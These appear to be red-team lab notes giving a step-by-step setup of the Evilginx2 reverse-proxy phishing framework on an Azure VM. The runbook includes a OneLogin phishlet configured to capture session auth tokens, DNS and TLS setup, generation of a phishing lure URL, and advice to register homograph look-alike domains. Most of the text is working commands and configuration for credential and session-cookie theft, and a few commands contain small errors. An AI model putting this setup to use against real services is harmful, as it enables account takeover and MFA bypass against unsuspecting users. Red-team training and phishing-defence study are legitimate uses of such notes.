EVILGINX (AWS EC2/AZURE)

this is a relay framework that acts as a web proxy and can be used by red teams to phish credentials. this tool sits in the middle of the traffic and has a back-end connection to the legitimate website which it uses to forward data from the victim. this nginx vps subdomain MUST exactly match the legitimate subdomain to be spoofed.

VPS INSTANCE INSTALLATION

#create the ec2/azure instance
root@oco:~$ BROWSER > https://portal.azure.com > Virtual Machines
 Project Details
  Subscription: {subscription}
   Resource Group: {resourceGroup}
 Instance Details
  Virtual Machine Name: {evilginx}
  Region: US
  Availability Options: No Infrastructure Redundancy Required
  Security Type: Standard
  Image: Ubuntu Server 20.04 LTS - x64 Gen2
  VM Architecture: x64
  Run w/ Azure Spot Discount: Disabled
  Size: Standard D2as_v4 - 2 vcpus 8GiB memory ($$$)
 Administrator Account
  Authentication Type: SSH public Key
  Username: {evilginxUser}
  SSH Public Key Source: Generate new key pair
  Key pair name: {arbitraryValue}
 Inbound Port Rules
  Public Inbound ports: None          //this disabled public access to instance
  Select Inbound Ports: N/A
  
 Disks
  Encryption at host: Disabled
  OS Disk
   OS Disk Type: Premium SSD (locally-redundant storage - LRS)
   Delete w/ VM: Enabled
   Key Management: Platform-managed key
   Enable Ultra Fisk Compatibility: Disabled
  Data Disks for {evilginx}: Create and attach a new disk
   Name: {evilginx}_DataDisk_0
   Source Type: None (Empty Disk)
   Size: 16 GiB
   Key management: Platform-managed key
   Enable shared disk: No
   Delete disk w/ VM: Enabled
   
 Management
  Network Interface
   Virtual Network: {...LabVNet} 
   Subnet: default (.../24)
   Public IP: {...}
   NIC Network Security Group: Basic
   Public Inbound Ports: None
   Select Inbound Ports: N/A
   Delete NIC when VM is deleted: Disabled
   Enable Accelerated Networking: Enabled
  Load Balancing
   Place VM Behind Existing LB Solution: Disabled
  
  * Create the VM after review

GOLANG & EVILGINX INSTALLATION

#create a DNS A record pointing it to the vps instance ip to {subdomain}.{domain}.{tld}
#this is required prior to proceeding

#connect to the ec2 virtual machine
root@evilginx:~$ sudo -i {key}.pem [email protected]

#install golang
root@evilginx:~$ go version
root@evilginx:~$ sudo apt update
root@evilginx:~$ sudo apt update && sudo apt upgrade -y
root@evilginx:~$ wget https://dl.google.com/go/go1.11.linux-amd64.tar.gz
 * ALT: sudo apt install golang -y
root@evilginx:~$ sudo tar -xvf go1.11-linux-amd64.tar.gz
root@evilginx:~$ sudo mv go /usr/local
root@evilginx:~$ sudo cp /usr/local/go/bin/go /usr/bin
root@evilginx:~$ nano .profile
 export GOPATH=$HOME/go
 export PATH=$PATH:/usr/local/go:$GOPATH/bin
root@evilginx:~$ source .profile                 //reflect changes

#install evilginx
root@evilginx:~$ go get -u github.com/kgretzky/evilginx2
root@evilginx:~$ ls
 go
root@evilginx:~$ cd go
root@evilginx:~$ ls
 bin src
root@evilginx:~$ ls go/bin
 evilginx2
root@evilginx:~$ ls src/github.com/kgretzky/evilginx2/
 ...phishlets templates database
root@evilginx:~$ cd src/github.com/kgretzky/evilginx2/
root@evilginx:~$ ls phishlets
 ...onelogin.yaml amazon.yaml

PHISHLET CONFIGURATION

root@evilginx:~$ cd src/github.com/kgretzky/evilginx2/phishlets

#disable unnecessary statements
root@evilginx:~$ nano onelogin.yaml
 proxy_hosts:
  #-{phish_sub: '', orig_sub: '', domain: 'onelogin.com', session: false, is_landing: false}
  #-{phish_sub: 'portal-cdn', orig_sub: 'portal-cdn', domain: 'onelogin.com' session: false, is_landing: false}
 
 * comment statements that are not required in CUOPS

#modify configuration for operations
root@evilginx:~$ nano onelogin.yaml
 proxy_hosts:
  - {phish_sub: 'cwlab', orig_sub: 'cwlab', domain: 'onelogin.com', session: true, is_landing: true}
 auth_tokens:
  - domain: '.onelogin.com'
    keys: ['onelogin.com_user']
  - domain: 'cwlab.onelogin.com'
    keys: ['sub_session_onelogin.com']
 login:
  domain: 'cwlab.onelogin.com'
  path: '/login'
  
#phishlets format; note that the phish subdomain MUST match the legitimate subdomain!
 * legitimate subdomain: {cwlab}.onelogin.com
 * phishing subdomain: {cwlab}.cyberwarfare.live
 
#perform a test to see the flow of how a potential target will login to the legitimate site
root@oco: BROWSER > {cwlab}.onelogin.com
 redirect: https://cwlab.onelogin.com/login2/?retrn=eyJ0...
 
 * this is done IOT see the parameters needed to fully configure evilginx to the operation
#reconfigure the evilginx server hostname to match the target webserver as close as possible - use homographs
root@evilginx:~$ hostname
 evilginx
root@evilginx:~$ sudo nano /etc/hostname
 cyberwarfare.live
root@evilginx:~$ hostnamectl status
 Static Hostname: cyberwarfare.live
root@evilginx:~$ sudo reboot
root@cyberwarfare:~$ hostname
 cyberwarfare.live
root@cyberwarfare:~$ cd $GOPATH/bin
root@cyberwarfare:~$ ls
 evilginx2

#start evilginx2 
root@cyberwarfare:~$ sudo ./evilginx2 -p /home/azureuser/go/src/github.com/kgretzky/evilginx2/phishlets/
 * the -p specifies the phishlets directory
 
#configure the domain
evilginx: config domain cyberwarfare.live
evilginx: config ip {evilginx IP from cloud instance}
 * {4.193.141.23}

#create a DNS A record pointing {cyberwarfare.live} to the vps instance ip
#use own squarespace domain account
root@oco:~$ BROWSER > https://squarespace.com
 Name: cwlab.cyberwarfare.live
 IP: {4.193.141.23}
 Type: A Record
 
root@oco:~$ nslookup cwlab.cyberwarfare.live
 * must resolve to {4.193.141.23}
 
evilginx: phishlets hostname onelogin {cyberwarfare.live}
evilginx: phishlets enable onelogin
 * this cmd will automatically register & setup the TLS/SSL certificate for the domain cyberwarfare.live
 
evilginx: lures create onelogin
evilginx: lures edit 0 redirect_url https://cyberwarfare.live
evilginx: get-url 0
 https://cwlab.cyberwarfare.live/hmHyBQkP
 * this will be the look-alike phishing URL for cwlab.onelogin.com
    - the evilginx domain {cyberwarfare.live} must MATCH the legitimate site as close as possible
       - e.g., using homoraphs etc
          - legit site: onelogin.com
          - homograph: 0nelogin.com
 * sessions
    - this cmd wasn't shown

Last updated